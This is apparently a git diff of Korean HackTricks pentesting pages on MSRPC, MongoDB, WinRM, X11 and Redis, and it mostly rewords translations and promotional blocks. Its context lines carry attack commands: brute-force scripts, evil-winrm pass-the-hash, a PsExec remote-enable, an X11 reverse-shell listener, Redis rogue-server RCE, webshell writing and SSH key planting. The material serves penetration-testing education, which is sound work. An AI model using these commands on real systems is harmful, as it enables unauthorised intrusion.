RPC 로케이터 서비스에 대한 접근은 특정 프로토콜을 통해 활성화됩니다: 포트 135를 통해 접근하기 위한 ncacn\_ip\_tcp 및 ncadg\_ip\_udp, SMB 연결을 위한 ncacn\_np, 웹 기반 RPC 통신을 위한 ncacn\_http. 다음 명령은 주로 포트 135에 초점을 맞춰 MSRPC 서비스 감사 및 상호작용을 위해 Metasploit 모듈을 활용하는 예를 보여줍니다:
```bash
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
@ -117,7 +117,7 @@ rpcdump.py <IP> -p 135
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -127,10 +127,10 @@ rpcdump.py <IP> -p 135
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
**최신 공지사항**\
**최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하고 최고의 해커들과 협업을 시작하세요!
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하고 최고의 해커들과 협업을 시작하세요!
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,29 +15,29 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Information
## 기본 정보
**MongoDB**는 다양한 형태의 데이터를 처리하기 위해 **문서 지향 데이터베이스 모델**을 사용하는 **오픈 소스** 데이터베이스 관리 시스템입니다. 비정형 또는 반정형 데이터를 관리하기 위한 유연성과 확장성을 제공하며, 빅 데이터 분석 및 콘텐츠 관리와 같은 애플리케이션에서 사용됩니다. **기본 포트:** 27017, 27018
**MongoDB**는 **오픈 소스** 데이터베이스 관리 시스템으로, 다양한 형태의 데이터를 처리하기 위해 **문서 지향 데이터베이스 모델**을 사용합니다. 비정형 또는 반정형 데이터를 관리하기 위해 유연성과 확장성을 제공하며, 빅 데이터 분석 및 콘텐츠 관리와 같은 애플리케이션에서 사용됩니다. **기본 포트:** 27017, 27018
```
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
```
## Enumeration
## 열거
### 수동
```python
@ -62,7 +62,7 @@ db.<collection>.find() #Dump the collection
db.<collection>.count() #Number of records of the collection
db.current.find({"username":"admin"}) #Find in current db the username admin
```
### 자동
### 자동
```bash
nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mongo enumerate scripts are used
```
@ -88,7 +88,7 @@ nmap -n -sV --script mongodb-brute -p 27017 <ip>
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mongo)
_자격 증명이 필요한지 확인하려면 /opt/bitnami/mongodb/mongodb.conf_ 파일을 확인하세요:
_/_opt/bitnami/mongodb/mongodb.conf_ 파일을 확인하여 자격 증명이 필요한지 알아보세요:
```bash
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
@ -101,16 +101,16 @@ Mongo Object IDs는 **12바이트 16진수** 문자열입니다:
![http://techidiocy.com/\_id-objectid-in-mongodb/](../.gitbook/assets/id-and-ObjectIds-in-MongoDB.png)
예를 들어, 애플리케이션에서 반환된 실제 Object ID를 분해해보면: 5f2459ac9fa6dc2500314019
예를 들어, 애플리케이션에서 반환된 실제 Object ID를 분해하는 방법은 다음과 같습니다: 5f2459ac9fa6dc2500314019
1. 5f2459ac: 1596217772 (10진수) = 2020년 7월 31일 금요일 17:49:32
2. 9fa6dc: 머신 식별자
3. 2500: 프로세스 ID
4. 314019: 증가하는 카운터
4. 314019: 증가 카운터
위 요소 중 머신 식별자는 데이터베이스가 동일한 물리적/가상 머신에서 실행되는 한 동일하게 유지됩니다. 프로세스 ID는 MongoDB 프로세스가 재시작될 때만 변경됩니다. 타임스탬프는 매초 업데이트됩니다. 카운터와 타임스탬프 값을 단순히 증가시켜 Object ID를 추측하는 데 유일한 도전 과제는 Mongo DB가 Object ID를 생성하고 시스템 수준에서 Object ID를 할당한다는 사실입니다.
도구 [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict)는 시작 Object ID를 주면 (계정을 생성하고 시작 ID를 얻을 수 있습니다), 다음 객체에 할당될 가능성이 있는 약 1000개의 Object ID를 반환하므로 이를 브루트포스하면 됩니다.
도구 [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict)는 시작 Object ID를 제공하면 (계정을 생성하고 시작 ID를 얻을 수 있습니다) 다음 객체에 할당될 수 있는 약 1000개의 가능한 Object ID를 반환하므로 이를 브루트포스하면 됩니다.
## Post
@ -118,7 +118,7 @@ Mongo Object IDs는 **12바이트 16진수** 문자열입니다:
***
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -126,7 +126,7 @@ Mongo Object IDs는 **12바이트 16진수** 문자열입니다:
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**Real-Time Hack News**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
**Latest Announcements**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
@ -141,9 +141,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하세요!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,9 +32,9 @@ Stay informed with the newest bug bounties launching and crucial platform update
## WinRM
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)는 **Microsoft**에서 **Windows 시스템의 원격 관리를 가능하게 하는 프로토콜**로 강조됩니다. HTTP(S)를 통해 SOAP를 활용하여 작동합니다. 본질적으로 WMI에 의해 구동되며, WMI 작업을 위한 HTTP 기반 인터페이스로 나타납니다.
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)는 **Microsoft**에서 강조하는 **Windows 시스템의 원격 관리**를 HTTP(S)를 통해 가능하게 하는 **프로토콜**입니다. 이 과정에서 SOAP를 활용합니다. 본질적으로 WMI에 의해 구동되며, WMI 작업을 위한 HTTP 기반 인터페이스로 나타납니다.
기계에 WinRM이 존재하면 PowerShell을 통해 간단한 원격 관리가 가능하며, 이는 다른 운영 체제의 SSH와 유사합니다. WinRM이 작동 중인지 확인하려면 특정 포트의 개방 여부를 확인하는 것이 좋습니다:
WinRM이 머신에 존재하면 PowerShell을 통해 간단한 원격 관리가 가능하며, 이는 다른 운영 체제의 SSH와 유사합니다. WinRM이 작동 중인지 확인하려면 특정 포트의 개방 여부를 확인하는 것이 좋습니다:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
@ -43,12 +43,12 @@ Stay informed with the newest bug bounties launching and crucial platform update
### **WinRM 세션 시작하기**
PowerShell을 WinRM에 맞게 구성하기 위해 Microsoft의 `Enable-PSRemoting` cmdlet이 사용되며, 이는 컴퓨터가 원격 PowerShell 명령을 수락하도록 설정합니다. 권한이 상승된 PowerShell 접근을 통해 다음 명령을 실행하여 이 기능을 활성화하고 어떤 호스트든 신뢰할 수 있도록 지정할 수 있습니다:
PowerShell을 WinRM에 맞게 구성하기 위해 Microsoft의 `Enable-PSRemoting` cmdlet이 사용되며, 이는 컴퓨터가 원격 PowerShell 명령을 수락하도록 설정합니다. 권한이 상승된 PowerShell 접근을 통해, 이 기능을 활성화하고 어떤 호스트든 신뢰할 수 있도록 지정하는 다음 명령을 실행할 수 있습니다:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
이 접근 방식은 `trustedhosts` 구성에 와일드카드를 추가하는 것으로, 그 의미 때문에 신중한 고려가 필요한 단계입니다. 또한 공격자의 머신에서 네트워크 유형을 "Public"에서 "Work"로 변경해야 할 수도 있음을 언급합니다.
이 접근 방식은 `trustedhosts` 구성에 와일드카드를 추가하는 것을 포함하며, 이는 그 의미로 인해 신중한 고려가 필요한 단계입니다. 또한 공격자의 머신에서 네트워크 유형을 "Public"에서 "Work"로 변경해야 할 수도 있음을 언급합니다.
게다가, WinRM은 다음과 같이 `wmic` 명령을 사용하여 **원격으로 활성화**할 수 있습니다:
```powershell
@ -58,7 +58,7 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
### 구성 확인
공격 머신의 설정을 확인하기 위해 `Test-WSMan` 명령을 사용하여 대상이 WinRM이 제대로 구성되었는지 확인합니다. 이 명령을 실행하면 프로토콜 버전 및 wsmid에 대한 세부정보를 수신하게 되며, 이는 성공적인 구성을 나타냅니다. 아래는 구성된 대상과 구성되지 않은 대상의 예상 출력 예시입니다:
공격 머신의 설정을 확인하기 위해 `Test-WSMan` 명령을 사용하여 대상이 WinRM이 제대로 구성되었는지 확인합니다. 이 명령을 실행하면 프로토콜 버전 및 wsmid에 대한 세부 정보를 수신하게 되며, 이는 성공적인 구성을 나타냅니다. 아래는 구성된 대상과 구성되지 않은 대상의 예상 출력 예시입니다:
* **정상적으로** 구성된 대상의 경우, 출력은 다음과 유사하게 나타납니다:
```bash
@ -80,7 +80,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../.gitbook/assets/image (151).png>)
현재 PS 콘솔의 **명령을 실행할 수 있습니다** _**Invoke-Command**_를 통해. 로컬에 _**enumeration**_이라는 함수가 있고 이를 **원격 컴퓨터에서 실행하고 싶다면**, 다음과 같이 할 수 있습니다:
현재 PS 콘솔의 **명령을 실행할 수 있습니다** _**Invoke-Command**_를 통해. 로컬에 _**enumeration**_이라는 함수가 있고 이를 **원격 컴퓨터에서 실행하고 싶다면**, 다음과 같이 할 수 있습니다:
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -117,7 +117,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **WinRM 강제 열기**
PS 원격 및 WinRM을 사용하려고 하지만 컴퓨터가 구성되지 않은 경우, 다음을 사용하여 활성화할 수 있습니다:
PS 원격 및 WinRM을 사용하려고 하지만 컴퓨터가 구성되지 않은 경우, 다음을 통해 활성화할 수 있습니다:
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
@ -145,12 +145,12 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
클라이언트에서 시도하십시오 (정보는 [여기](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)에서 확인):
클라이언트에서 시도하십시오 (정보는 [여기](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)에서 확인하세요):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -189,7 +189,7 @@ gem install evil-winrm
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
**evil-winrm**를 사용하여 **IPv6 주소**에 연결하려면 _**/etc/hosts**_에 **도메인 이름**을 IPv6 주소로 설정하는 항목을 만들고 해당 도메인에 연결합니다.
**evil-winrm**를 사용하여 **IPv6 주소**에 연결하려면 _**/etc/hosts**_ 파일에 **도메인 이름**을 IPv6 주소에 설정하여 해당 도메인에 연결합니다.
### evil-winrm으로 해시 전달하기
```ruby
@ -304,7 +304,7 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -314,7 +314,7 @@ Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지사항**\
**최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -26,13 +26,13 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**Latest Announcements**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
새로운 버그 바운티 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Information
**X Window System** (X)는 UNIX 기반 운영 체제에서 널리 사용되는 다목적 윈도우 시스템입니다. 이는 개별 프로그램이 사용자 인터페이스 디자인을 처리하는 그래픽 **user interfaces (GUIs)**를 생성하기 위한 프레임워크를 제공합니다. 이러한 유연성은 X 환경 내에서 다양한 맞춤형 경험을 가능하게 합니다.
**X Window System** (X)는 UNIX 기반 운영 체제에서 널리 사용되는 다목적 윈도우 시스템입니다. 그래픽 **사용자 인터페이스 (GUIs)**를 생성하기 위한 프레임워크를 제공하며, 개별 프로그램이 사용자 인터페이스 디자인을 처리합니다. 이 유연성은 X 환경 내에서 다양한 맞춤형 경험을 가능하게 합니다.
**Default port:** 6000
```
@ -56,7 +56,7 @@ $ xxd ~/.Xauthority
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-magic-cookie-1: 128비트 키(“쿠키”)를 생성하고 이를 \~/.Xauthority(또는 XAUTHORITY envvar가 가리키는 위치)에 저장합니다. 클라이언트는 이를 서버에 평문으로 전송합니다! 서버는 이 “쿠키”의 복사본이 있는지 확인하고, 있다면 연결이 허용됩니다. 키는 DMX에 의해 생성됩니다.
> MIT-magic-cookie-1: 128비트 키(“쿠키”)를 생성하고 이를 \~/.Xauthority(또는 XAUTHORITY envvar가 가리키는 위치)에 저장합니다. 클라이언트는 이를 평문으로 서버에 전송합니다! 서버는 이 “쿠키”의 복사본이 있는지 확인하고, 있다면 연결이 허용됩니다. 키는 DMX에 의해 생성됩니다.
{% hint style="warning" %}
**쿠키를 사용하기 위해** 환경 변수를 설정해야 합니다: **`export XAUTHORITY=/path/to/.Xauthority`**
@ -149,7 +149,7 @@ msf> use exploit/unix/x11/x11_keyboard_exec
```bash
nc -lvp 5555
```
그런 다음, **R-Shell** 옵션에 IP 주소와 포트를 입력하고 **R-shell**을 클릭하여 셸을 얻습니다.
그런 다음 **R-Shell** 옵션에 IP 주소와 포트를 입력하고 **R-shell**을 클릭하여 셸을 얻습니다.
## References
@ -161,7 +161,7 @@ nc -lvp 5555
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -182,7 +182,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -26,13 +26,13 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**Latest Announcements**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 최신 정보를 유지하세요.
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Information
From [the docs](https://redis.io/topics/introduction): Redis는 오픈 소스(BSD 라이센스) 메모리 **데이터 구조 저장소**로, **데이터베이스**, 캐시 및 메시지 브로커로 사용됩니다.
From [the docs](https://redis.io/topics/introduction): Redis는 오픈 소스(BSD 라이센스) 메모리 **데이터 구조 저장소**로, **데이터베이스**, 캐시 및 메시지 브로커로 사용됩니다.
기본적으로 Redis는 일반 텍스트 기반 프로토콜을 사용하지만, **ssl/tls**를 구현할 수도 있다는 점을 염두에 두어야 합니다. [여기에서 ssl/tls로 Redis를 실행하는 방법을 배우세요](https://fossies.org/linux/redis/TLS.md).
@ -43,7 +43,7 @@ PORT STATE SERVICE VERSION
```
## 자동 열거
Redis 인스턴스에서 정보를 얻는 데 도움이 는 몇 가지 자동화 도구:
Redis 인스턴스에서 정보를 얻는 데 도움이 될 수 있는 몇 가지 자동화 도구:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
@ -68,16 +68,16 @@ In this last case, this means that **you need valid credentials** to access the
### Redis Authentication
**기본적으로** Redis는 **자격 증명 없이** 접근할 수 있습니다. 그러나 **비밀번호만 또는 사용자 이름 + 비밀번호**를 지원하도록 **구성**할 수 있습니다.\
`requirepass` 매개변수를 사용하여 _**redis.conf**_ 파일에 **비밀번호를 설정**할 수 있으며, 서비스가 재시작될 때까지 **임시**로 설정할 수 있습니다. 연결한 후 다음을 실행합니다: `config set requirepass p@ss$12E45`.\
또한, _**redis.conf**_ 파일의 `masteruser` 매개변수에서 **사용자 이름**을 구성할 수 있습니다.
`requirepass` 매개변수를 사용하여 _**redis.conf**_ 파일에 **비밀번호를 설정**할 수 있으며, 서비스가 재시작될 때까지 **임시**로 설정할 수 있습니다. 이 경우 연결한 후 다음 명령어를 실행합니다: `config set requirepass p@ss$12E45`.\
또한, _**redis.conf**_ 파일`masteruser` 매개변수에서 **사용자 이름**을 구성할 수 있습니다.
{% hint style="info" %}
비밀번호만 구성된 경우 사용되는 사용자 이름은 "**default**"입니다.\
또한, Redis가 비밀번호만 또는 사용자 이름 + 비밀번호로 구성되었는지 **외부에서 확인할 방법이 없습니다**.
또한, Redis가 비밀번호만으로 구성되었는지 사용자 이름 + 비밀번호로 구성되었는지 **외부에서 확인할 방법이 없습니다**.
{% endhint %}
In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) it.\
**유효한 자격 증명을 찾은 경우 연결을 설정한 후 세션을 인증해야 합니다** 다음 명령어로:
이와 같은 경우 **Redis와 상호작용하기 위해 유효한 자격 증명을 찾아야** 하므로 [**브루트 포스**](../generic-methodologies-and-resources/brute-force.md#redis)를 시도해 볼 수 있습니다.\
**유효한 자격 증명을 찾은 경우 연결을 설정한 후 세션을 인증해야** 합니다.
```bash
AUTH <username> <password>
```
@ -94,7 +94,7 @@ client list
CONFIG GET *
[ ... Get config ... ]
```
**다른 Redis 명령어** [**여기에서 찾을 수 있습니다**](https://redis.io/topics/data-types-intro) **그리고** [**여기에서**](https://lzone.de/cheat-sheet/Redis)**.**
**다른 Redis 명령어** [**여기에서 찾을 수 있습니다**](https://redis.io/topics/data-types-intro) **** [**여기에서**](https://lzone.de/cheat-sheet/Redis)**.**
인스턴스의 **Redis 명령어는** _redis.conf_ 파일에서 이름을 변경하거나 제거할 수 있습니다. 예를 들어 이 줄은 FLUSHDB 명령어를 제거합니다:
```
@ -102,17 +102,17 @@ rename-command FLUSHDB ""
```
More about configuring securely a Redis service here: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
You can also **모니터링할 수 있습니다 실시간으로 Redis 명령어** executed with the command **`monitor`** or get the top **25 느린 쿼리** with **`slowlog get 25`**
You can also **실시간으로 Redis 명령어 모니터링**을 실행할 수 있으며, **`monitor`** 명령어를 사용하거나 **`slowlog get 25`**로 **25개의 가장 느린 쿼리**를 가져올 수 있습니다.
Find more interesting information about more Redis commands here: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Dumping Database**
Inside Redis the **데이터베이스는 0부터 시작하는 숫자입니다**. You can find if anyone is used in the output of the command `info` inside the "Keyspace" chunk:
Inside Redis the **데이터베이스는 0부터 시작하는 숫자**입니다. "Keyspace" 청크 내의 `info` 명령어 출력에서 사용 중인 데이터베이스를 확인할 수 있습니다:
![](<../.gitbook/assets/image (766).png>)
Or you can just get all the **키스페이스** (databases) with:
Or you can just get all the **keyspaces** (databases) with:
```
INFO keyspace
```
@ -127,7 +127,7 @@ GET <KEY>
```
`GET <KEY>`를 실행하는 동안 `-WRONGTYPE Operation against a key holding the wrong kind of value`라는 오류가 발생하면, 이는 키가 문자열이나 정수가 아닌 다른 유형일 수 있으며, 이를 표시하기 위해 특별한 연산자가 필요하기 때문입니다.
키의 유형을 확인하려면 `TYPE` 명령을 사용하세요. 아래는 리스트 및 해시 키에 대한 예입니다.
키의 유형을 확인하려면 `TYPE` 명령을 사용하십시오. 아래는 리스트 및 해시 키에 대한 예입니다.
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
@ -139,9 +139,9 @@ HGET <KEY> <FIELD>
# If the type used is weird you can always do:
DUMP <key>
```
**npm으로 데이터베이스 덤프하기** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **또는 python** [**redis-utils**](https://pypi.org/project/redis-utils/)
**npm으로 데이터베이스 덤프하기**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **또는 python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -158,13 +158,13 @@ DUMP <key>
## Redis RCE
### 인터랙티브
### 대화형
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server)는 Redis(<=5.0.5)에서 자동으로 인터랙티브 셸 또는 리버스 셸을 얻을 수 있습니다.
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server)는 Redis(<=5.0.5)에서 대화형 셸 또는 리버스 셸을 자동으로 얻을 수 있습니다.
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
### PHP 웹쉘
[**여기**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)에서 정보. **웹 사이트 폴더**의 **경로**를 알아야 합니다:
```
@ -199,14 +199,14 @@ sh.stderr.pipe(client);
)()}}
```
{% hint style="warning" %}
다수의 템플릿 엔진이 템플릿을 메모리에 캐시하므로, 이를 덮어쓰더라도 새로운 템플릿이 실행되지 않을 수 있습니다. 이 경우, 개발자가 자동 재로드를 활성화한 상태이거나 서비스에 대해 DoS를 수행해야 하며 (자동으로 재시작될 것으로 예상해야 함) 주의해야 합니다.
다수의 템플릿 엔진이 템플릿을 **메모리**에 캐시하므로, 이를 덮어쓰더라도 새로운 템플릿이 **실행되지 않을 수 있습니다**. 이 경우, 개발자가 자동 재로드를 활성화한 상태이거나 서비스에 대해 DoS를 수행해야 하며 (자동으로 재시작될 것으로 예상해야 합니다).
{% endhint %}
### SSH
[여기서](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) 확인하세요.
[여기서](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) 확인하세요.
**`config get dir`** 결과는 다른 수동 익스플로잇 명령어 후에 변경될 수 있습니다. Redis에 로그인한 직후에 이를 먼저 실행하는 것이 좋습니다. **`config get dir`**의 출력에서 **redis 사용자**의 **home**을 찾을 수 있습니다 (보통 _/var/lib/redis_ 또는 _/home/redis/.ssh_). 이를 알면 `authenticated_users` 파일을 작성하여 **redis 사용자**로 ssh에 접근할 수 있는 위치를 알게 됩니다. 쓰기 권한이 있는 다른 유효한 사용자의 home을 알고 있다면 이를 악용할 수도 있습니다:
